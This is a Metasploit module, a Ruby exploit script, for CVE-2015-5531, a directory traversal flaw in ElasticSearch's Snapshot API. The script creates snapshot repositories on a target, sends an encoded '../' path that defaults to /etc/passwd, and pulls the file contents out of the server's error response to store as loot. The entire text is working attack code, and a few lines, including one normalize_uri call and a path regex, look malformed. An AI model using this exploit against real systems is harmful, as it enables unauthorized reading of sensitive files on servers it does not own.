ElasticSearch Snapshot API Directory Traversal

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'json'  
  
class Metasploit3 < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ElasticSearch Snapshot API Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal  
vulnerability in ElasticSearch, allowing an attacker to read arbitrary  
files with JVM process privileges, through the Snapshot API.  
},  
'References' =>  
[  
['CVE', '2015-5531'],  
['PACKETSTORM', '132721']  
],  
'Author' =>  
[  
'Benjamin Smith', # Vulnerability discovery  
'Pedro Andujar <pandujar[at]segfault.es>', # Metasploit module  
'Jose A. Guasch <jaguasch[at]gmail.com>', # Metasploit module  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(9200),  
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),  
OptInt.new('DEPTH', [true, 'Traversal depth', 7])  
], self.class)  
  
deregister_options('RHOST')  
end  
  
def proficy?  
res1 = send_request_raw('method' => 'POST',  
'uri' => normalize_uri(target_uri.path '_snapshot' 'pwn'),  
'data' => '{"type":"fs","settings":{"location":"dsr"}}')  
  
res2 = send_request_raw('method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '_snapshot' 'pwnie'),  
'data' => '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')  
  
if res1.body.include?('true') && res2.body.include?('true')  
return true  
else  
return false  
end  
end  
  
def read_file(file)  
travs = '_snapshot/pwn/ev1l%2f'  
  
payload = '../' * datastore['DEPTH']  
  
travs << payload.gsub('/', '%2f')  
travs << file.gsub('/', '%2f')  
  
vprint_status("#{peer} - Checking if it's a vulnerable ElasticSearch")  
  
if proficy?  
vprint_good("#{peer} - Check successful")  
else  
print_error("#{peer} - ElasticSearch not vulnerable")  
return  
end  
  
vprint_status("#{peer} - Retrieving file contents...")  
  
res = send_request_raw(  
'method' => 'GET',  
'uri' => travs  
)  
  
if res && res.code == 400  
return res.body  
else  
print_status("#{res.code}\n#{res.body}")  
return nil  
end  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ %r{/^\//}  
  
contents = read_file(filename)  
fail_with(Failure::UnexpectedReply, "#{peer} - File not downloaded") if contents.nil?  
  
begin  
data_hash = JSON.parse(contents)  
rescue JSON::ParserError => e  
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")  
return []  
end  
  
fcontent = data_hash['error'].scan(/\d+/).drop(2).map(&:to_i).pack('c*')  
fname = datastore['FILEPATH']  
  
path = store_loot(  
'elasticsearch.traversal',  
'text/plain',  
ip,  
fcontent,  
fname  
)  
print_good("#{peer} - File saved in: #{path}")  
end  
end  
`